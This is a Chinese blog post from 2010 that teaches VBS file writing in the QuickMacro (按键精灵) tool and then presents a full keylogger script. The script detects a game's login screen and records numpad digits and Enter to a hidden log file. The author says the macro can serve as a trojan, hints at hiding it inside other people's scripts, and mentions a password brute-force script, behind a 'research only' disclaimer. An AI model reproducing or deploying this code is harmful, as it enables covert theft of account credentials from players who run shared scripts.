小键盘记录

小键盘记录
2010年03月21日
  发脚本之前,我想讲一下关于写入文件的问题,看了几个教程,对于我这样的菜鸟十分生涩,很难理解。我觉得有必要再讲讲,以下是我自己理解的,可能不对,请高手指教。
  首先讲这个:
  VBS Const ForReading=1
  VBS Const ForWriting=2
  VBS Const ForAppending=8
  也有这样写的
  VBS Const ForReading=1:VBS Const ForWriting=2:VBS Const ForAppending=8
  其实这是不用写的,这只是一个参数解释,告诉你当参数=1是是以读方式打开文件;=2时是以写方式
  打开文件,=8时是以追加写方式打开文件。那么这个参数1,2,8写在那里呢?下面再说。
  其次我们来看这个:
  VBS Set a = CreateObject("Scripting.FileSystemObject")
  这个最不好理理解,不过好在我们不用理解,你只要记住,不论生成文件还是打开文件,在前面都要加
  这么一句就可以了。其中除了a是变量名称可以改以外,其它的照搬就是了。
  接着我们来看
  VBS Set f=a.CreateTextFile(filename)
  这句是生成文件的,不光TXT文件,也可以生成htm文件等,括号中是要生成的文件路径及名称,如:“c:\1.txt”,一定要加引号的。还有就是,这句里有两个变量名f和a,前面的f是写的时候用的,后面的a要和上一句的变量名一致。
  总结一下就是说,我们想在c盘下生成一个1.txt文件,只要以下2句就可以做到:
  VBS Set a = CreateObject("Scripting.FileSystemObject")
  VBS Set f=a.CreateTextFile("c:\1.txt")
  要注意,这样创建的文件是用写方式打开的,我们可以用下面这句来写入内容:
  VBS f.WriteLine("内容")
  但这样写入会覆盖上一次写入的内容,所以不想覆盖就要用到下面这句
  VBS set f=a.opentextfile("c:\1.txt",8,True)
  这句的意思是以追加的方式打开“c:\1.txt”,如果不存在则生成一个。其中的8,就是参数,我们上面讲过,它如果是1或2时是什么意思。
  要是我以上讲的你都不理解,你就记住,用追加写方式打开一个文件,写入文本“1”,没有的话就生成一个再写入,只要这样写就好了:
  VBS Set a = CreateObject("Scripting.FileSystemObject")
  VBS set f=a.opentextfile("c:\1.txt",8,True)
  VBS f.WriteLine("1")
  就三句话,复制就好了。
  下面进入正题,木马的问题很头痛,键盘记录程序也很头痛,好在我们有专业软件。可是这就能阻止帐号丢失吗?我今天用了30分钟就写了一个键盘记录脚本,虽然暂时功能比较简单,但有了这个思路,小精灵本身就可以是木马!
  下面这个脚本可以实现,在检测到某游戏的登陆界面后,在按键精灵所在目录生成一个键盘记录文件,记录10秒种内的小键盘动作.
  Rem start
  VBSCall FindPic(0,0,1023,767,"登陆.bmp",0.9,x,y)
  If x>=0 and y>=0
  Gosub 时间
  Goto start
  Else
  Goto start
  EndIf
  Sub 时间
  VBS starttime=timer
  Rem time
  VBS stoptime=timer
  VBS t=stoptime-starttime
  //修改t的值可以延长记录时间
  If t<10
  Gosub 记录
  Goto time
  Else
  //每次记录的结果用"-------"分开
  VBS f.WriteLine("--------")
  EndScript
  EndIf
  Return
  Sub 记录
  //打开文件
  VBS filename="..\键盘记录.txt"
  VBS Set a = CreateObject("Scripting.FileSystemObject")
  VBS set f=a.opentextfile(filename,8,True)
  //监控键盘
  VBSCall Call GetKeyState(Asc)
  //写入结果
  If GetKeyState(96)=-1 or GetKeyState(96)=1
  VBS f.WriteLine("0")
  //延时越短越容易出现先1次按键多次记录的情况,目前这个值基本可以满足要求
  Delay 150
  EndIf
  If GetKeyState(97)=-1 or GetKeyState(97)=1
  VBS f.WriteLine("1")
  Delay 150
  EndIf
  If GetKeyState(98)=-1 or GetKeyState(98)=1
  VBS f.WriteLine("2")
  Delay 150
  EndIf
  If GetKeyState(99)=-1 or GetKeyState(99)=1
  VBS f.WriteLine("3")
  Delay 150
  EndIf
  If GetKeyState(100)=-1 or GetKeyState(100)=1
  VBS f.WriteLine("4")
  Delay 150
  EndIf
  If GetKeyState(101)=-1 or GetKeyState(101)=1
  VBS f.WriteLine("5")
  Delay 150
  EndIf
  If GetKeyState(102)=-1 or GetKeyState(102)=1
  VBS f.WriteLine("6")
  Delay 150
  EndIf
  If GetKeyState(103)=-1 or GetKeyState(103)=1
  VBS f.WriteLine("7")
  Delay 150
  EndIf
  If GetKeyState(104)=-1 or GetKeyState(104)=1
  VBS f.WriteLine("8")
  Delay 150
  EndIf
  If GetKeyState(105)=-1 or GetKeyState(105)=1
  VBS f.WriteLine("9")
  Delay 150
  EndIf
  If GetKeyState(13)=-1 or GetKeyState(13)=1
  VBS f.WriteLine("回车")
  Delay 150
  EndIf
  Return 记录
  目前我只写了记录小键盘的脚本,全部都监控也很简单,把它写在某些脚本的前面,然后......
  不要问我怎么能讲记录文件发送出来,虽然我前几天写了个生日密码爆破脚本,今天又写了这个,但我郑重声明:我对盗号没有兴趣!!!一切只为研究之用,非法使用,一切后果由使用者自己承担。
  希望以上对想我一样菜的朋友有帮助,最后还是要提醒,以上脚本必须安装QMBoost插件。
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值